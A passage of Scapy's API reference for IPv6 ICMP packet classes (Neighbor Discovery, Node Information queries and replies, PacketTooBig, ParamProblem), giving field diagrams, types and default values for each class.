 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. ICMPv6NDOptUnknown                      


ICMPv6NDOptUnknown fields






	type

	ByteField

	0



	len

	FieldLenField

	None



	data

	ICMPv6NDOptDataField

	b''















	
class scapy.layers.inet6.ICMPv6ND_INDAdv(_pkt, /, *, type=142, code=0, cksum=None, reserved=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L2291-L2297]

	Bases: _ICMPv6NDGuessPayload, _ICMPv6


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      CODE     |             CKSUM             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            RESERVED                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. ICMPv6ND_INDAdv                       


ICMPv6ND_INDAdv fields






	type

	ByteEnumField

	142



	code

	ByteField

	0



	cksum

	XShortField

	None



	reserved

	XIntField

	0















	
class scapy.layers.inet6.ICMPv6ND_INDSol(_pkt, /, *, type=141, code=0, cksum=None, reserved=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L2279-L2285]

	Bases: _ICMPv6NDGuessPayload, _ICMPv6


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      CODE     |             CKSUM             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            RESERVED                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. ICMPv6ND_INDSol                       


ICMPv6ND_INDSol fields






	type

	ByteEnumField

	141



	code

	ByteField

	0



	cksum

	XShortField

	None



	reserved

	XIntField

	0















	
class scapy.layers.inet6.ICMPv6ND_NA(_pkt, /, *, type=136, code=0, cksum=None, R=1, S=0, O=1, res=0, tgt='::')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L2218-L2237]

	Bases: _ICMPv6NDGuessPayload, _ICMPv6, Packet


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L2236-L2237]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      CODE     |             CKSUM             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|R|S|O|                           RES                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              TGT                              |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. ICMPv6ND_NA                         


ICMPv6ND_NA fields






	type

	ByteEnumField

	136



	code

	ByteField

	0



	cksum

	XShortField

	None



	R

	BitField  (1 bit)

	1



	S

	BitField  (1 bit)

	0



	O

	BitField  (1 bit)

	1



	res

	XBitField  (29 bits)

	0



	tgt

	IP6Field

	'::'











	
hashret()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L2233-L2234]

	




	
mysummary()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L2230-L2231]

	








	
class scapy.layers.inet6.ICMPv6ND_NS(_pkt, /, *, type=135, code=0, cksum=None, res=0, tgt='::')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L2202-L2215]

	Bases: _ICMPv6NDGuessPayload, _ICMPv6, Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      CODE     |             CKSUM             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              RES                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              TGT                              |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. ICMPv6ND_NS                         


ICMPv6ND_NS fields






	type

	ByteEnumField

	135



	code

	ByteField

	0



	cksum

	XShortField

	None



	res

	IntField

	0



	tgt

	IP6Field

	'::'











	
hashret()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L2214-L2215]

	




	
mysummary()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L2211-L2212]

	








	
class scapy.layers.inet6.ICMPv6ND_RA(_pkt, /, *, type=134, code=0, cksum=None, chlim=0, M=0, O=0, H=0, prf=1, P=0, res=0, routerlifetime=1800, reachabletime=0, retranstimer=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L2176-L2199]

	Bases: _ICMPv6NDGuessPayload, _ICMPv6


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L2193-L2194]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      CODE     |             CKSUM             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     CHLIM     |M|O|H|PRF|P|RES|         ROUTERLIFETIME        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         REACHABLETIME                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          RETRANSTIMER                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. ICMPv6ND_RA                         


ICMPv6ND_RA fields






	type

	ByteEnumField

	134



	code

	ByteField

	0



	cksum

	XShortField

	None



	chlim

	ByteField

	0



	M

	BitField  (1 bit)

	0



	O

	BitField  (1 bit)

	0



	H

	BitField  (1 bit)

	0



	prf

	BitEnumField

	1



	P

	BitField  (1 bit)

	0



	res

	BitField  (2 bits)

	0



	routerlifetime

	ShortField

	1800



	reachabletime

	IntField

	0



	retranstimer

	IntField

	0











	
mysummary()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L2196-L2199]

	








	
class scapy.layers.inet6.ICMPv6ND_RS(_pkt, /, *, type=133, code=0, cksum=None, res=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L2167-L2173]

	Bases: _ICMPv6NDGuessPayload, _ICMPv6


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      CODE     |             CKSUM             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              RES                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. ICMPv6ND_RS                         


ICMPv6ND_RS fields






	type

	ByteEnumField

	133



	code

	ByteField

	0



	cksum

	XShortField

	None



	res

	IntField

	0















	
class scapy.layers.inet6.ICMPv6ND_Redirect(_pkt, /, *, type=137, code=0, cksum=None, res=0, tgt='::', dst='::')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L2242-L2250]

	Bases: _ICMPv6NDGuessPayload, _ICMPv6, Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      CODE     |             CKSUM             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              RES                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              TGT                              |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              DST                              |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. ICMPv6ND_Redirect                      


ICMPv6ND_Redirect fields






	type

	ByteEnumField

	137



	code

	ByteField

	0



	cksum

	XShortField

	None



	res

	XIntField

	0



	tgt

	IP6Field

	'::'



	dst

	IP6Field

	'::'















	
class scapy.layers.inet6.ICMPv6NIQueryIPv4(_pkt, /, *, type=139, code=None, cksum=None, qtype=4, unused=0, flags=<Flag 0 ()>, nonce=<RandBin>, data=(1, b'\x00\x00\x00'))[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L2564-L2566]

	Bases: ICMPv6NIQueryNOOP


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      CODE     |             CKSUM             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             QTYPE             |       UNUSED      |   FLAGS   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             NONCE                             |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. ICMPv6NIQueryIPv4                      


ICMPv6NIQueryIPv4 fields






	type

	ByteEnumField

	139



	code

	NIQueryCodeField

	None



	cksum

	XShortField

	None



	qtype

	ShortEnumField

	4



	unused

	BitField  (10 bits)

	0



	flags

	FlagsField

	<Flag 0 ()>



	nonce

	NonceField

	<RandBin>



	data

	NIQueryDataField

	(1, b'\x00\x00\x00')















	
class scapy.layers.inet6.ICMPv6NIQueryIPv6(_pkt, /, *, type=139, code=None, cksum=None, qtype=3, unused=0, flags=62, nonce=<RandBin>, data=(1, b'\x00\x00\x00'))[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L2558-L2561]

	Bases: ICMPv6NIQueryNOOP


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      CODE     |             CKSUM             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             QTYPE             |       UNUSED      |   FLAGS   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             NONCE                             |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. ICMPv6NIQueryIPv6                      


ICMPv6NIQueryIPv6 fields






	type

	ByteEnumField

	139



	code

	NIQueryCodeField

	None



	cksum

	XShortField

	None



	qtype

	ShortEnumField

	3



	unused

	BitField  (10 bits)

	0



	flags

	FlagsField

	62



	nonce

	NonceField

	<RandBin>



	data

	NIQueryDataField

	(1, b'\x00\x00\x00')















	
class scapy.layers.inet6.ICMPv6NIQueryNOOP(_pkt, /, *, type=139, code=None, cksum=None, qtype=0, unused=0, flags=<Flag 0 ()>, nonce=<RandBin>, data=(1, b'\x00\x00\x00'))[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L2539-L2548]

	Bases: _ICMPv6NIHashret, _ICMPv6


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      CODE     |             CKSUM             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             QTYPE             |       UNUSED      |   FLAGS   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             NONCE                             |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. ICMPv6NIQueryNOOP                      


ICMPv6NIQueryNOOP fields






	type

	ByteEnumField

	139



	code

	NIQueryCodeField

	None



	cksum

	XShortField

	None



	qtype

	ShortEnumField

	0



	unused

	BitField  (10 bits)

	0



	flags

	FlagsField

	<Flag 0 ()>



	nonce

	NonceField

	<RandBin>



	data

	NIQueryDataField

	(1, b'\x00\x00\x00')















	
class scapy.layers.inet6.ICMPv6NIQueryName(_pkt, /, *, type=139, code=None, cksum=None, qtype=2, unused=0, flags=<Flag 0 ()>, nonce=<RandBin>, data=(1, b'\x00\x00\x00'))[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L2551-L2553]

	Bases: ICMPv6NIQueryNOOP


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      CODE     |             CKSUM             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             QTYPE             |       UNUSED      |   FLAGS   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             NONCE                             |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. ICMPv6NIQueryName                      


ICMPv6NIQueryName fields






	type

	ByteEnumField

	139



	code

	NIQueryCodeField

	None



	cksum

	XShortField

	None



	qtype

	ShortEnumField

	2



	unused

	BitField  (10 bits)

	0



	flags

	FlagsField

	<Flag 0 ()>



	nonce

	NonceField

	<RandBin>



	data

	NIQueryDataField

	(1, b'\x00\x00\x00')















	
class scapy.layers.inet6.ICMPv6NIReplyIPv4(_pkt, /, *, type=140, code=0, cksum=None, qtype=4, unused=0, flags=<Flag 0 ()>, nonce=<RandBin>, data=(0, None))[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L2741-L2743]

	Bases: ICMPv6NIReplyNOOP


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      CODE     |             CKSUM             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             QTYPE             |       UNUSED      |   FLAGS   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             NONCE                             |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. ICMPv6NIReplyIPv4                      


ICMPv6NIReplyIPv4 fields






	type

	ByteEnumField

	140



	code

	ByteEnumField

	0



	cksum

	XShortField

	None



	qtype

	ShortEnumField

	4



	unused

	BitField  (10 bits)

	0



	flags

	FlagsField

	<Flag 0 ()>



	nonce

	NonceField

	<RandBin>



	data

	NIReplyDataField

	(0, None)















	
class scapy.layers.inet6.ICMPv6NIReplyIPv6(_pkt, /, *, type=140, code=0, cksum=None, qtype=3, unused=0, flags=<Flag 0 ()>, nonce=<RandBin>, data=(0, None))[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L2736-L2738]

	Bases: ICMPv6NIReplyNOOP


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      CODE     |             CKSUM             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             QTYPE             |       UNUSED      |   FLAGS   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             NONCE                             |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. ICMPv6NIReplyIPv6                      


ICMPv6NIReplyIPv6 fields






	type

	ByteEnumField

	140



	code

	ByteEnumField

	0



	cksum

	XShortField

	None



	qtype

	ShortEnumField

	3



	unused

	BitField  (10 bits)

	0



	flags

	FlagsField

	<Flag 0 ()>



	nonce

	NonceField

	<RandBin>



	data

	NIReplyDataField

	(0, None)















	
class scapy.layers.inet6.ICMPv6NIReplyNOOP(_pkt, /, *, type=140, code=0, cksum=None, qtype=0, unused=0, flags=<Flag 0 ()>, nonce=<RandBin>, data=(0, None))[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L2719-L2728]

	Bases: _ICMPv6NIAnswers, _ICMPv6NIHashret, _ICMPv6


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      CODE     |             CKSUM             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             QTYPE             |       UNUSED      |   FLAGS   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             NONCE                             |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. ICMPv6NIReplyNOOP                      


ICMPv6NIReplyNOOP fields






	type

	ByteEnumField

	140



	code

	ByteEnumField

	0



	cksum

	XShortField

	None



	qtype

	ShortEnumField

	0



	unused

	BitField  (10 bits)

	0



	flags

	FlagsField

	<Flag 0 ()>



	nonce

	NonceField

	<RandBin>



	data

	NIReplyDataField

	(0, None)















	
class scapy.layers.inet6.ICMPv6NIReplyName(_pkt, /, *, type=140, code=0, cksum=None, qtype=2, unused=0, flags=<Flag 0 ()>, nonce=<RandBin>, data=(0, None))[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L2731-L2733]

	Bases: ICMPv6NIReplyNOOP


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      CODE     |             CKSUM             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             QTYPE             |       UNUSED      |   FLAGS   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             NONCE                             |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. ICMPv6NIReplyName                      


ICMPv6NIReplyName fields






	type

	ByteEnumField

	140



	code

	ByteEnumField

	0



	cksum

	XShortField

	None



	qtype

	ShortEnumField

	2



	unused

	BitField  (10 bits)

	0



	flags

	FlagsField

	<Flag 0 ()>



	nonce

	NonceField

	<RandBin>



	data

	NIReplyDataField

	(0, None)















	
class scapy.layers.inet6.ICMPv6NIReplyRefuse(_pkt, /, *, type=140, code=1, cksum=None, qtype=0, unused=0, flags=<Flag 0 ()>, nonce=<RandBin>, data=(0, None))[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L2746-L2748]

	Bases: ICMPv6NIReplyNOOP


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      CODE     |             CKSUM             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             QTYPE             |       UNUSED      |   FLAGS   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             NONCE                             |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. ICMPv6NIReplyRefuse                     


ICMPv6NIReplyRefuse fields






	type

	ByteEnumField

	140



	code

	ByteEnumField

	1



	cksum

	XShortField

	None



	qtype

	ShortEnumField

	0



	unused

	BitField  (10 bits)

	0



	flags

	FlagsField

	<Flag 0 ()>



	nonce

	NonceField

	<RandBin>



	data

	NIReplyDataField

	(0, None)















	
class scapy.layers.inet6.ICMPv6NIReplyUnknown(_pkt, /, *, type=140, code=2, cksum=None, qtype=0, unused=0, flags=<Flag 0 ()>, nonce=<RandBin>, data=(0, None))[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L2751-L2753]

	Bases: ICMPv6NIReplyNOOP


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      CODE     |             CKSUM             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             QTYPE             |       UNUSED      |   FLAGS   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             NONCE                             |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. ICMPv6NIReplyUnknown                     


ICMPv6NIReplyUnknown fields






	type

	ByteEnumField

	140



	code

	ByteEnumField

	2



	cksum

	XShortField

	None



	qtype

	ShortEnumField

	0



	unused

	BitField  (10 bits)

	0



	flags

	FlagsField

	<Flag 0 ()>



	nonce

	NonceField

	<RandBin>



	data

	NIReplyDataField

	(0, None)















	
class scapy.layers.inet6.ICMPv6PacketTooBig(_pkt, /, *, type=2, code=0, cksum=None, mtu=1280)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L1457-L1462]

	Bases: _ICMPv6Error


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      CODE     |             CKSUM             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              MTU                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. ICMPv6PacketTooBig                      


ICMPv6PacketTooBig fields






	type

	ByteEnumField

	2



	code

	ByteField

	0



	cksum

	XShortField

	None



	mtu

	IntField

	1280















	
class scapy.layers.inet6.ICMPv6ParamProblem(_pkt, /, *, type=4, code=0, cksum=None, ptr=6)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L1482-L1492]

	Bases: _ICMPv6Error


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      CODE     |             CKSUM             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              PTR                              |
